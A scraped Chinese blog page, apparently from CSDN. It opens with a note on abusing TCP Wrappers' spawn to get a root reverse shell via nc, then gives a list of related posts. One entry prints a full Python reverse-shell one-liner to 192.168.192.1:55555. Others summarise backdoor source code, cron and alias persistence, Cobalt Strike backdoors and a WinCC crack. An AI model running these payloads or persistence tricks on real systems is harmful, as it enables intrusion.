以ssh为例,每当有ssh的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,符合要求,则会把这次连接原封不动的转给真正的ssh进程,由ssh完成后续工作;TCPWrappers是一个工作在第四层(传输层)的的安全工具,对有状态连接的特定服务进行安全检测并实现访问控制,凡是包含libwrap.so库文件的的程序就可以受TCPWrappers的安全控制。当使用服务端ssh连接的时候,它开始匹配规则,然后利用spawn执行的nc反弹了一个root权限的shell。

把自己活成一道光,因为你不知道,谁会借着你的光,走出了黑暗。请保持心中的善良,因为你不知道,谁会借着你的善良,走出了绝望。请保持你心中的信仰,因为你不知道,谁会借着你的信仰,走出了迷茫。请相信自己的力量,因为你不知道,谁会因为相信你,开始相信了自己.... 613

[ 隧道技术 ] 反弹shell的集中常见方式(四)python反弹shell

python反弹shell python2 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.192.1',55555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

qq_51577576的博客 1577

C/C++ 匿名管道反弹CMDShell

该段代码是一个用于Windows平台的反向Shell程序,它通过在被控制端和控制端之间建立网络连接,实现远程控制和命令执行。它在被控制端创建管道来重定向控制台命令输出,并将命令执行结果发送回控制端。控制端可以向被控制端发送命令,被控制端接收并执行这些命令,并将执行结果返回给控制端。一旦连接成功,程序可以接收本地输入的命令,并在远程主机上执行这些命令,并将命令的输出返回到本地主机。然后,程序通过管道将命令输出发送回本地,并持续监听新的命令输入。

微软技术分享 1万+

反弹端口木马的设计与实现

反弹端口木马,作为一种高级的网络攻击手段,近年来在网络安全领域引起了广泛关注。它利用网络通信的特定原理,通过在目标主机上创建反向连接,实现对攻击者控制权的转移。以下将从概念、工作原理、特点及其在网络安全中的影响等方面进行详细阐述。一、概念反弹端口木马(Reverse Shell Trojan,简称RST)是一种能够在目标主机上建立反向连接,使攻击者能够远程控制该主机的恶意软件。与传统木马相比,反弹端口木马具有更高的隐蔽性和持久性,能够有效躲避网络安全防护措施。二、工作原理。

xinwr 953

LVGL 实战:虚拟列表与对象复用机制在嵌入式GUI中的性能优化

本文深入探讨LVGL虚拟列表与对象复用机制在嵌入式GUI中的性能优化实践。通过复用机制动态管理UI对象,大幅降低内存占用,实现无限滚动列表的流畅体验。文章详细解析核心算法、内存优化策略及跨平台适配技巧,帮助开发者在资源受限设备上高效处理大量数据展示。

rice5的博客 1107

五个反弹后门的源代码[转]

第一个反弹木马代码:作者 iceblood代码#include #include #include #include #include #include #include void usage();char shell[]="/bin/sh";char message[]="s8s8 welcome/n";int sock;int main(int argc, char *argv[]) {if(

1931

中国主要湖泊水库面状矢量边界图层ArcGIS应用实战:从数据获取到专题图制作

本文详细介绍了中国主要湖泊水库面状矢量边界图层在ArcGIS中的实战应用,从数据获取到专题图制作的全流程。涵盖官方数据源、科研机构共享数据及商业平台的选择,以及ArcGIS中的数据处理、拓扑错误修正和专题图设计技巧,帮助用户高效完成湖泊水库的空间分析与可视化。

weixin_33672400的博客 256

【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务

alias命令的功能:为命令设置别名定义:alias ls = ‘ls -al’删除:unalias ls每次输入ls命令的时候都能实现ls -alalerts'这样目标执行ls命令后可以上线,不过ls命令会被阻塞在那里,很容易引起怀疑,当结束终端窗口时,反弹shell的会话也会随着被终结,而且更改后的alias命令只在当前窗口才有效(重启也会失效)2、升级:))";alerts’进行base64编码是因为python程序有空行和空格,将一段命令转换成单行命令。

今天是几号的博客 1975

DC竞赛 国能日新功率预测题 rank21 解决方案(适合新手)

DataCastle国能日新光伏功率预测 数据异常处 本题在测试集中提供了时间、辐照度、风速、风向、温度、压强、湿度、实发辐照度8个特征,以及标签**实际功率**。 而在训练集中只有前七个特征,无实发辐照度。 策略 在观察了数据之后,我们确定实发辐照度是一个强力特征,于是我们采取了stacking的策略: 1. 第一次训练以实发辐照度为标签,预测 测试集的实发辐照度 2....

yyhhlancelot的博客 7296

安信可TB蓝牙模组系列 实战Ble Mesh智能照明系统搭建

本文详细介绍了如何使用安信可TB蓝牙模组系列搭建Ble Mesh智能照明系统。从硬件准备、固件烧录到手机APP组网全流程,提供了实战步骤和优化建议,特别适合智能家居开发者入门。Ble Mesh的自组网能力解决了蓝牙传输距离限制,实现全屋灯光智能控制。

weixin_30856725的博客 353

操作系统权限维持(六)之Linux系统-定时任务后门

使用crontab命令进行反弹shell。crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。我们可以使用crontab -e或者vim /etc/crontab添加计划任务。kali机器收到反弹shell。设置定时任务为每分钟执行一次。kali机器开启监听。

把自己活成一道光,因为你不知道,谁会借着你的光,走出了黑暗。请保持心中的善良,因为你不知道,谁会借着你的善良,走出了绝望。请保持你心中的信仰,因为你不知道,谁会借着你的信仰,走出了迷茫。请相信自己的力量,因为你不知道,谁会因为相信你,开始相信了自己.... 997

TI MSPM0G3507 循迹小车强制寻黑线代码一

一个基于MSPM0微控制器的循迹小车控制系统。系统通过8路循迹传感器检测黑线位置偏差,使用PID算法计算电机控制量。主程序初始化中断、PWM等外设,在按键触发后进入循迹模式。传感器数据处理函数根据检测到的黑线位置返回偏差值(-7到7),PID控制器根据偏差调整左右电机速度。系统还包含限幅处理、中断服务等模块,实现稳定的自动循迹功能。代码结构清晰,展示了嵌入式系统中传感器数据处理、电机控制和PID算法的典型实现方式。

雾削木的优快云博客 1855

Python安全之编写反弹连接‘免杀’后门

生成后门的工具: 虽然在WEB安全专栏,不过今天要编写的是一个二进制后门,而不是WEB后门。按惯例还是来一段KALI里面的“免杀”后门生成工具,大名鼎鼎的metasploit: 方法一msfconsole: msf5 > use windows/shell/reverse_tcp msf5 payload(windows/shell/reverse_tcp) > set lhost...

weixin_43853965的博客 1613

GD32测量pwm波频率以及占空比

1、需求 最近做的一个项目,其中有一个传感器输出是pwm波形,频率代表速度,频率越高速度越快。不同的占空比代表不同的故障类型。占空比10%~90%,频率范围20hz ~1khz。 基于以上的需求,单片机要实现两个功能: 1、测量频率 2、测量占空比 这怎么玩呢?从没搞过啊。 2、需求分析 经过查找资料以及参考正点原子的教程,发现单片机的定时器的输入捕获功能能够实现该功能。 2.1分析 如上图所示,测量占空比和测量频率实际上就是测量波形的长度。 对于占空比,就是测量T2与T1时刻的差值 对于频率,就是测量T

Jack Yi的博客 9075

细节增强卷积DEConv详解及代码复现

这种预训练模型能够捕捉图像的基本特征,为后续的端到端训练提供良好的初始参数。例如,在RESIDE和RESIDE-6K数据集上的实验结果表明,使用MSPLCK模块的MixDehazeNet-L模型在RESIDE-IN数据集上首次超过了42dB的PSNR指标,且在所有数据集上均优于先前的方法。例如,在RESIDE和RESIDE-6K数据集上的实验结果表明,使用MSPLCK模块的MixDehazeNet-L模型在RESIDE-IN数据集上首次超过了42dB的PSNR指标,且在所有数据集上均优于先前的方法。

hasakie的博客 1912

隐形的内核后门:无模块Linux内核植入技术详解

在聊具体技术之前,我们先搞清楚核心概念——所谓“无Linux内核模块植入后门”,本质上是一种绕开常规内核模块加载流程的恶意技术,和传统内核后门有着本质区别。 传统的Linux内核后门,大多会打包成.ko格式的内核模块文件,通过`insmod`、`modprobe`等系统命令加载到内核中运行。这种方式的痕迹很明显,会在`/proc/modules`(内核模块列表)、`/sys/module/`(模块文件目录)中留下清晰记录,很容易被安全工具检测到。 而无模块内核植入后门,完全抛弃了.ko模块载体,直接将恶

chen1415886044的博客 1028

CA(载波聚合)

文章目录CA基本概念1. CA分类2. Pcell、Scell以及Serving CellPcell(Primary Cell)Scell(Secondary Cell)3. Pcell、Scell部署场景场景1场景2场景3场景44. CA的协议控制4.1 Camping/Connetion Establishment:4.2 CC Management/SCell Addition/Release:4.3 Handover/Measurements:4.4 SCell激活 CA基本概念 CA也就是我们中文

你又来看我了,一起学习吧 4万+

153.网络安全渗透测试—[Cobalt Strike系列]—[生成hta/exe/宏后门]

一、后门简介 1、hta后门 2、exe后门 3、宏病毒后门 二、生成后门并测试 1、生成HTA后门并测试 2、生成exe后门并测试 3、生成宏病毒后门并测试

qwsn 3024

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

Exp2 MAL_后门原理与实践 20155214

目录 Exp2 MAL_后门原理与实践 实验内容 通过nc反向连接创建后门 meterpreter应用 主要思路 知识点 启发 Exp2 MAL_后门原理与实践 本次实验操使...

NavyJhon2015的博客 368

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

四行代码教你实现C#气泡反弹

一.编程思想 (1).反弹肯定需要时间间隔,需要timer计时器来完成 (2).反弹时需要条件判断,所以需要if语句 (3).气泡都是圆的,我们需要进行实例化 二.代码实现 (1).简单的对窗体进行设置 this.Location = new Point(0,0);//设置窗体位置 this.FormBorderStyle = FormBorderS...

凭时间赢来的东西,时间肯定会为之作证 13万+

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

反弹shell详细易懂讲解,看这一篇就够了

bash就是shell的众多小弟中的一个,Shell 是操作系统中提供用户与内核之间交互的一种界面,一个 解释型的程序设计语言,它的小弟有很多,它既可以是图形用户界面(GUI),也可以是命令行界面(CLI)。Shell 主要用于接受用户输入的命令并将其传递给操作系统的内核执行,同时将内核的输出结果返回给用户。

LCW991207的博客 2721

Bash反弹shell

机器名称机器IP攻击机器实验靶机Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计,作为一门叫做ABC语 言的替代品。Python提供了高效的高级数据结构,还能简单有效地面向对象编程。Python语法和动 态类型,以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的编程语言,随着版本 的不断更新和语言新功能的添加,逐渐被用于独立的、大型项目的开发。python反弹shell介绍python2s.connect(("攻击机器IP",端口));机器名称。

qq_64177395的博客 1460

使用Scratch制作打弹球游戏-反弹球

打弹球是FC游戏中的一款经典老游戏,虽然玩法很简单, 但是以前可是非常火爆的。想学习如何制作简单有趣的红白机小游戏吗?今天我们就一起来利用Scratch软件,先做一个简化版的打弹球游戏——反弹球! 一、我们的目标 (1)理解弹珠游戏形成各个原理。 (2)掌握角色坐标与鼠标坐标(或键盘坐标)的关联。 二、我们的任务 1.剧本设计 主题:“会反弹”的小球 舞台:草地 角色:小球、反弹板、草地警戒线 故事:小球和反弹板在草地上玩游戏,小球碰到边缘就会反弹,落向地面时,反弹板会跟随...

qq_35292988的博客 2万+

实验6 函数---反弹

【问题描述】 已知一球从高空落下时,每次落地后反弹至原高度的四分之一再落下。编写一程序,从键盘输入整数n和m,求该球从n米的高空落下后,第m次落地时共经过的路程以及第m次落地后反弹的高度,并输出结果。 【输入形式】 从键盘输入整数n和m,以空格隔开。 【输出形式】 输出两行: 第一行输出总路程,保留小数点后两位; 第二行输出第m次落地后反弹的高度,保留小数点后两位。 【输入样例】 40 3 【输出...

weixin_43443913的博客 4380

【“玩物立志”scratch少儿编程】坦克动荡-“穿墙控制”和“子弹反弹”的实现-含完整代码

scratch是一款主要面向小朋友们的编程工具,也有很多的大朋友们喜欢它,因为它确实简单而有趣,通过搭积木,就可以建造出一些好玩的程序。 大家玩过4399的坦克动荡吗?有没有尝试试着自己去实现它呢?本文记录我在使用scratch尝试实现坦克动荡小游戏的过程中,碰到的一些问题。 如果坦克已经有一部分在墙上,此时我们无论向哪个方向移动,都会检测到碰墙,然后回到原来的位置。 即使只考虑横竖向的墙壁,也有两种情况。那我们又如何判断撞击的墙壁是横向还是竖向?.........

成长之路 1万+
上一篇: 木马生成技术详解
下一篇: 在 Win32 Application 和 Win32 Console Application 中使用 MFC
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值